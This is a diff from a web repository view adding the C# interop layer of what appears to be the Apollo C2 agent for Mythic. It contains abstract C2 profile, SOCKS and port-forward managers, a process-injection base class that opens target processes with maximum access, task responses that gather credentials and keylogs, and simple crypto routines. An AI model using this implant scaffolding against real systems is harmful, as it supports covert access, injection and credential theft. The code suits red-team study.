Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length);
|
||||
sleepers = tmp;
|
||||
}
|
||||
WaitHandle.WaitAny(sleepers, sleepTime);
|
||||
}
|
||||
|
||||
public void AcquireOutputLock()
|
||||
{
|
||||
_outputLock.WaitOne();
|
||||
}
|
||||
|
||||
public void ReleaseOutputLock()
|
||||
{
|
||||
_outputLock.ReleaseMutex();
|
||||
}
|
||||
|
||||
public virtual bool IsAlive() { return Alive; }
|
||||
|
||||
public virtual ITaskManager GetTaskManager() { return TaskManager; }
|
||||
public virtual IPeerManager GetPeerManager() { return PeerManager; }
|
||||
public virtual ISocksManager GetSocksManager() { return SocksManager; }
|
||||
public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; }
|
||||
public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; }
|
||||
public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; }
|
||||
public virtual IFileManager GetFileManager() { return FileManager; }
|
||||
public virtual IIdentityManager GetIdentityManager() { return IdentityManager; }
|
||||
public virtual IProcessManager GetProcessManager() { return ProcessManager; }
|
||||
public virtual IInjectionManager GetInjectionManager() { return InjectionManager; }
|
||||
|
||||
public virtual ITicketManager GetTicketManager() { return TicketManager; }
|
||||
public string GetUUID()
|
||||
{
|
||||
return UUID;
|
||||
}
|
||||
public void SetUUID(string newUUID){
|
||||
UUID = newUUID;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System.Collections.Concurrent;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Classes.Core;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class C2Profile
|
||||
{
|
||||
protected const int MAX_RETRIES = 10;
|
||||
protected ISerializer Serializer;
|
||||
protected IAgent Agent;
|
||||
protected bool Connected = false;
|
||||
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
|
||||
public C2Profile(Dictionary<string, string> parameters, ISerializer serializer, IAgent agent)
|
||||
{
|
||||
Agent = agent;
|
||||
Serializer = serializer;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class C2ProfileManager : IC2ProfileManager
|
||||
{
|
||||
protected IAgent Agent;
|
||||
protected ConcurrentBag<IC2Profile> EgressProfiles = new ConcurrentBag<IC2Profile>();
|
||||
protected ConcurrentBag<IC2Profile> IngressProfiles = new ConcurrentBag<IC2Profile>();
|
||||
|
||||
public C2ProfileManager(IAgent agent)
|
||||
{
|
||||
Agent = agent;
|
||||
}
|
||||
|
||||
public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters);
|
||||
|
||||
public virtual bool AddEgress(IC2Profile profile)
|
||||
{
|
||||
EgressProfiles.Add(profile);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual bool AddIngress(IC2Profile profile)
|
||||
{
|
||||
IngressProfiles.Add(profile);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetEgressCollection()
|
||||
{
|
||||
return EgressProfiles.ToArray();
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetIngressCollection()
|
||||
{
|
||||
return IngressProfiles.ToArray();
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetConnectedEgressCollection()
|
||||
{
|
||||
List<IC2Profile> connected = new List<IC2Profile>();
|
||||
foreach(var c2 in EgressProfiles.ToArray())
|
||||
{
|
||||
if (c2.IsConnected())
|
||||
connected.Add(c2);
|
||||
}
|
||||
return connected.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public class ChunkedMessageStore<T> where T : IChunkMessage
|
||||
{
|
||||
private T[] _messages = null;
|
||||
private object _lock = new object();
|
||||
private int _currentCount = 0;
|
||||
|
||||
public event EventHandler<ChunkMessageEventArgs<T>> ChunkAdd;
|
||||
public event EventHandler<ChunkMessageEventArgs<T>> MessageComplete;
|
||||
public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs<T>(_messages));
|
||||
public void AddMessage(T d)
|
||||
{
|
||||
lock(_lock)
|
||||
{
|
||||
if (_messages == null)
|
||||
{
|
||||
_messages = new T[d.GetTotalChunks()];
|
||||
}
|
||||
_messages[d.GetChunkNumber()-1] = d;
|
||||
_currentCount += 1;
|
||||
}
|
||||
if (_currentCount == d.GetTotalChunks())
|
||||
{
|
||||
OnMessageComplete();
|
||||
} else
|
||||
{
|
||||
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<T>(new T[1] { d }));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Interfaces;
|
||||
using static ApolloInterop.Enums.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public abstract class InjectionTechnique : IInjectionTechnique
|
||||
{
|
||||
protected byte[] _code;
|
||||
protected int _processId;
|
||||
protected IntPtr _hProcess = IntPtr.Zero;
|
||||
protected IAgent _agent;
|
||||
protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid);
|
||||
protected delegate bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
out IntPtr lpTargetHandle,
|
||||
ProcessAccessFlags dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
protected delegate void CloseHandle(IntPtr hHandle);
|
||||
|
||||
protected OpenProcess _pOpenProcess;
|
||||
protected DuplicateHandle _pDuplicateHandle;
|
||||
protected CloseHandle _pCloseHandle;
|
||||
|
||||
// Dangerous - should only be used when resolving
|
||||
// critical functions _pOpenProcess, _pDuplicateHandle,
|
||||
// and _pCloseHandle.
|
||||
public InjectionTechnique()
|
||||
{
|
||||
|
||||
}
|
||||
public InjectionTechnique(IAgent agent, byte[] code, int pid)
|
||||
{
|
||||
_code = code;
|
||||
_processId = pid;
|
||||
_agent = agent;
|
||||
ResolveCriticalFunctions();
|
||||
_hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid);
|
||||
}
|
||||
|
||||
public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess)
|
||||
{
|
||||
_code = code;
|
||||
_agent = agent;
|
||||
|
||||
ResolveCriticalFunctions();
|
||||
bool bRet = _pDuplicateHandle(
|
||||
System.Diagnostics.Process.GetCurrentProcess().Handle,
|
||||
hProcess,
|
||||
hProcess,
|
||||
out _hProcess,
|
||||
ProcessAccessFlags.MAXIMUM_ALLOWED,
|
||||
false,
|
||||
0);
|
||||
if (!bRet)
|
||||
{
|
||||
throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error());
|
||||
}
|
||||
}
|
||||
|
||||
~InjectionTechnique()
|
||||
{
|
||||
if (_hProcess != IntPtr.Zero)
|
||||
{
|
||||
_pCloseHandle(_hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
private void ResolveCriticalFunctions()
|
||||
{
|
||||
_pOpenProcess = _agent.GetApi().GetLibraryFunction<OpenProcess>(Library.KERNEL32, "OpenProcess");
|
||||
_pDuplicateHandle = _agent.GetApi().GetLibraryFunction<DuplicateHandle>(Library.KERNEL32, "DuplicateHandle");
|
||||
_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
|
||||
}
|
||||
|
||||
public abstract bool Inject(string arguments = "");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public abstract class Process : IProcess
|
||||
{
|
||||
public string Application { get; protected set; }
|
||||
public string CommandLine { get; protected set; }
|
||||
protected bool _startSuspended;
|
||||
public bool HasExited { get; protected set; }
|
||||
public int ExitCode { get; protected set; }
|
||||
public uint PID { get; protected set; }
|
||||
public string StdOut { get; protected set; } = "";
|
||||
public string StdErr { get; protected set; } = "";
|
||||
public IntPtr Handle { get; protected set; }
|
||||
protected IAgent _agent;
|
||||
private delegate ulong RtlNtStatusToDosError(int status);
|
||||
public event EventHandler<StringDataEventArgs> OutputDataReceived;
|
||||
public event EventHandler<StringDataEventArgs> ErrorDataReceieved;
|
||||
public event EventHandler Exit;
|
||||
|
||||
public void OnOutputDataReceived(object sender, StringDataEventArgs args)
|
||||
{
|
||||
OutputDataReceived?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public void OnErrorDataRecieved(object sender, StringDataEventArgs args)
|
||||
{
|
||||
ErrorDataReceieved?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public abstract void Kill();
|
||||
|
||||
public void OnExit(object sender, EventArgs args)
|
||||
{
|
||||
Exit?.Invoke(sender, args);
|
||||
}
|
||||
public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false)
|
||||
{
|
||||
_agent = agent;
|
||||
if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments))
|
||||
{
|
||||
throw new Exception("Application and arguments cannot be null.");
|
||||
}
|
||||
if (string.IsNullOrEmpty(lpArguments))
|
||||
{
|
||||
CommandLine = lpApplication;
|
||||
Application = lpApplication;
|
||||
}
|
||||
else if (string.IsNullOrEmpty(lpApplication))
|
||||
{
|
||||
CommandLine = lpArguments;
|
||||
}
|
||||
else
|
||||
{
|
||||
Application = lpApplication;
|
||||
CommandLine = $"{lpApplication} {lpArguments}";
|
||||
}
|
||||
_startSuspended = startSuspended;
|
||||
}
|
||||
|
||||
public int? GetExitCodeHResult()
|
||||
{
|
||||
const uint HRESULT_MASK = 0x80070000;
|
||||
|
||||
if (!HasExited)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction<RtlNtStatusToDosError>(Library.NTDLL, "RtlNtStatusToDosError");
|
||||
if (rtlNtStatusToDosError == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK));
|
||||
}
|
||||
|
||||
public abstract bool Inject(byte[] code, string arguments = "");
|
||||
|
||||
public abstract bool Start();
|
||||
|
||||
public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo);
|
||||
|
||||
public abstract bool StartWithCredentials(IntPtr hToken);
|
||||
|
||||
public abstract void WaitForExit();
|
||||
|
||||
public abstract void WaitForExit(int milliseconds);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class RpfwdManager : IRpfwdManager
|
||||
{
|
||||
protected IAgent _agent;
|
||||
|
||||
public RpfwdManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
}
|
||||
|
||||
public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Route(SocksDatagram dg)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Remove(int id)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class SocksManager : ISocksManager
|
||||
{
|
||||
protected IAgent _agent;
|
||||
|
||||
public SocksManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
}
|
||||
|
||||
public virtual bool Route(SocksDatagram dg)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Remove(int id)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using ApolloInterop.Serializers;
|
||||
using ApolloInterop.Classes.Impersonation;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class Tasking : ITask
|
||||
{
|
||||
protected IAgent _agent;
|
||||
protected MythicTask _data;
|
||||
protected static JsonSerializer _jsonSerializer = new JsonSerializer();
|
||||
protected CancellationTokenSource _cancellationToken;
|
||||
public Tasking(IAgent agent, MythicTask data)
|
||||
{
|
||||
_agent = agent;
|
||||
_data = data;
|
||||
_cancellationToken = new CancellationTokenSource();
|
||||
}
|
||||
|
||||
public string ID()
|
||||
{
|
||||
return _data.ID;
|
||||
}
|
||||
|
||||
public abstract void Start();
|
||||
|
||||
public virtual System.Threading.Tasks.Task CreateTasking()
|
||||
{
|
||||
return new System.Threading.Tasks.Task(() =>
|
||||
{
|
||||
var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
|
||||
ImpersonationScope.Run(impersonationIdentity, Start);
|
||||
}, _cancellationToken.Token);
|
||||
}
|
||||
|
||||
public virtual void Kill()
|
||||
{
|
||||
_cancellationToken.Cancel();
|
||||
}
|
||||
|
||||
public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable<IMythicMessage>? messages = null)
|
||||
{
|
||||
MythicTaskResponse resp = new MythicTaskResponse();
|
||||
resp.UserOutput = userOutput;
|
||||
resp.Completed = completed;
|
||||
resp.TaskID = _data.ID;
|
||||
resp.Status = status;
|
||||
if (messages != null)
|
||||
{
|
||||
List<EdgeNode> edges = new List<EdgeNode>();
|
||||
List<Credential> creds = new List<Credential>();
|
||||
List<RemovedFileInformation> removed = new List<RemovedFileInformation>();
|
||||
List<Artifact> artifacts = new List<Artifact>();
|
||||
List<ProcessInformation> processes = new List<ProcessInformation>();
|
||||
List<CommandInformation> cmds = new List<CommandInformation>();
|
||||
List<KeylogInformation> keylogs = new List<KeylogInformation>();
|
||||
foreach (IMythicMessage msg in messages)
|
||||
{
|
||||
switch (msg.GetTypeCode())
|
||||
{
|
||||
case MessageType.CommandInformation:
|
||||
cmds.Add((CommandInformation)msg);
|
||||
break;
|
||||
case MessageType.EdgeNode:
|
||||
edges.Add((EdgeNode)msg);
|
||||
break;
|
||||
case MessageType.FileBrowser:
|
||||
resp.FileBrowser = (FileBrowser)msg;
|
||||
break;
|
||||
case MessageType.Credential:
|
||||
creds.Add((Credential)msg);
|
||||
break;
|
||||
case MessageType.RemovedFileInformation:
|
||||
removed.Add((RemovedFileInformation)msg);
|
||||
break;
|
||||
case MessageType.Artifact:
|
||||
artifacts.Add((Artifact)msg);
|
||||
break;
|
||||
case MessageType.UploadMessage:
|
||||
resp.Upload = (UploadMessage)msg;
|
||||
break;
|
||||
case MessageType.DownloadMessage:
|
||||
resp.Download = (DownloadMessage)msg;
|
||||
break;
|
||||
case MessageType.ProcessInformation:
|
||||
processes.Add((ProcessInformation)msg);
|
||||
break;
|
||||
case MessageType.KeylogInformation:
|
||||
keylogs.Add((KeylogInformation)msg);
|
||||
break;
|
||||
case MessageType.CallbackUpdate:
|
||||
resp.Callback = (CallbackUpdate)msg;
|
||||
break;
|
||||
default:
|
||||
throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}");
|
||||
}
|
||||
}
|
||||
resp.Edges = edges.ToArray();
|
||||
resp.Credentials = creds.ToArray();
|
||||
resp.RemovedFiles = removed.ToArray();
|
||||
resp.Artifacts = artifacts.ToArray();
|
||||
resp.Commands = cmds.ToArray();
|
||||
resp.Keylogs = keylogs.ToArray();
|
||||
if (processes.Count > 0)
|
||||
{
|
||||
resp.Processes = processes.ToArray();
|
||||
}
|
||||
}
|
||||
return resp;
|
||||
}
|
||||
|
||||
public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable<Artifact> artifacts)
|
||||
{
|
||||
var artifactMessages = new IMythicMessage[artifacts.Count()];
|
||||
for (int i = 0; i < artifacts.Count(); i++)
|
||||
{
|
||||
artifactMessages[i] = artifacts.ElementAt(i);
|
||||
}
|
||||
return CreateTaskResponse("", false, "", artifactMessages);
|
||||
}
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class AesRoutine : ICryptographicRoutine
|
||||
{
|
||||
private readonly Aes _aes;
|
||||
|
||||
public AesRoutine()
|
||||
{
|
||||
_aes = Aes.Create();
|
||||
}
|
||||
|
||||
public AesRoutine(Aes aes)
|
||||
{
|
||||
_aes = aes;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] plaintext)
|
||||
{
|
||||
byte[] encrypted;
|
||||
|
||||
// Create an Aes object
|
||||
// with the specified key and IV.
|
||||
using (Aes aesAlg = Aes.Create())
|
||||
{
|
||||
aesAlg.Key = _aes.Key;
|
||||
aesAlg.IV = _aes.IV;
|
||||
|
||||
// Create an encryptor to perform the stream transform.
|
||||
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
|
||||
|
||||
// Create the streams used for encryption.
|
||||
using (MemoryStream msEncrypt = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
|
||||
{
|
||||
csEncrypt.Write(plaintext, 0, plaintext.Length);
|
||||
}
|
||||
encrypted = msEncrypt.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
// Return the encrypted bytes from the memory stream.
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] encrypted)
|
||||
{
|
||||
byte[] plaintext;
|
||||
// Create an Aes object
|
||||
// with the specified key and IV.
|
||||
using (Aes aesAlg = Aes.Create())
|
||||
{
|
||||
aesAlg.Key = _aes.Key;
|
||||
aesAlg.IV = _aes.IV;
|
||||
|
||||
// Create a decryptor to perform the stream transform.
|
||||
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
|
||||
|
||||
// Create the streams used for decryption.
|
||||
using (MemoryStream msDecrypt = new MemoryStream(encrypted))
|
||||
{
|
||||
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
|
||||
{
|
||||
using (BinaryReader brDecrypt = new BinaryReader(csDecrypt))
|
||||
{
|
||||
plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
abstract public class CryptographyProvider : ICryptography
|
||||
{
|
||||
public byte[] PSK { get; private set; }
|
||||
protected byte[] UUID { get; private set; }
|
||||
public bool UUIDUpdated { get; private set; } = false;
|
||||
|
||||
public CryptographyProvider(string uuid, string key)
|
||||
{
|
||||
PSK = Convert.FromBase64String(key);
|
||||
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
|
||||
}
|
||||
|
||||
// UUID should only be updated once after agent registration.
|
||||
public bool UpdateUUID(string uuid)
|
||||
{
|
||||
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
|
||||
UUIDUpdated = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
virtual public bool UpdateKey(string key)
|
||||
{
|
||||
PSK = Convert.FromBase64String(key);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual string GetUUID()
|
||||
{
|
||||
return ASCIIEncoding.ASCII.GetString(UUID);
|
||||
}
|
||||
|
||||
public abstract string Encrypt(string plaintext);
|
||||
|
||||
public abstract string Decrypt(string ciphertext);
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
using System.Security.Cryptography;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class DpapiRoutine : ICryptographicRoutine
|
||||
{
|
||||
private readonly byte[] _additionalEntropy;
|
||||
private readonly DataProtectionScope _scope;
|
||||
public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser)
|
||||
{
|
||||
_additionalEntropy = additionalEntropy;
|
||||
_scope = scope;
|
||||
}
|
||||
|
||||
public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser)
|
||||
{
|
||||
_scope = scope;
|
||||
_additionalEntropy = null;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] data)
|
||||
{
|
||||
return ProtectedData.Protect(data, _additionalEntropy, _scope);
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] data)
|
||||
{
|
||||
return ProtectedData.Unprotect(data, _additionalEntropy, _scope);
|
||||
}
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class RSAKeyGenerator
|
||||
{
|
||||
public string SessionId { get; private set; }
|
||||
public RSACryptoServiceProvider RSA { get; protected set; }
|
||||
public RSAKeyGenerator(int szKey)
|
||||
{
|
||||
SessionId = GenerateSessionId();
|
||||
}
|
||||
|
||||
public RSAKeyGenerator(RSACryptoServiceProvider provider)
|
||||
{
|
||||
SessionId = GenerateSessionId();
|
||||
RSA = provider;
|
||||
}
|
||||
|
||||
public virtual string GenerateSessionId()
|
||||
{
|
||||
Random random = new Random((int)DateTime.UtcNow.Ticks);
|
||||
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
return new string(Enumerable.Repeat(chars, 20)
|
||||
.Select(s => s[random.Next(s.Length)]).ToArray());
|
||||
}
|
||||
|
||||
public abstract string ExportPublicKey();
|
||||
public abstract string ExportPrivateKey();
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class XorRoutine : ICryptographicRoutine
|
||||
{
|
||||
private byte[] _key;
|
||||
|
||||
public XorRoutine(byte[] key = null)
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
_key = System.Guid.NewGuid().ToByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] Xor(byte[] input)
|
||||
{
|
||||
int j = 0;
|
||||
for (int i = 0; i < input.Length; i++, j++)
|
||||
{
|
||||
if (j == _key.Length)
|
||||
{
|
||||
j = 0;
|
||||
}
|
||||
input[i] = (byte)(input[i] ^ _key[j]);
|
||||
}
|
||||
|
||||
return input;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] data)
|
||||
{
|
||||
return Xor(data);
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] data)
|
||||
{
|
||||
return Xor(data);
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Events
|
||||
{
|
||||
public class ChunkMessageEventArgs<T> : EventArgs where T : IChunkMessage
|
||||
{
|
||||
public T[] Chunks;
|
||||
|
||||
public ChunkMessageEventArgs(T[] chunks)
|
||||
{
|
||||
Chunks = chunks;
|
||||
}
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Events
|
||||
{
|
||||
public class MythicMessageEventArgs : EventArgs
|
||||
{
|
||||
public IMythicMessage Message;
|
||||
|
||||
public MythicMessageEventArgs(IMythicMessage msg) => Message = msg;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user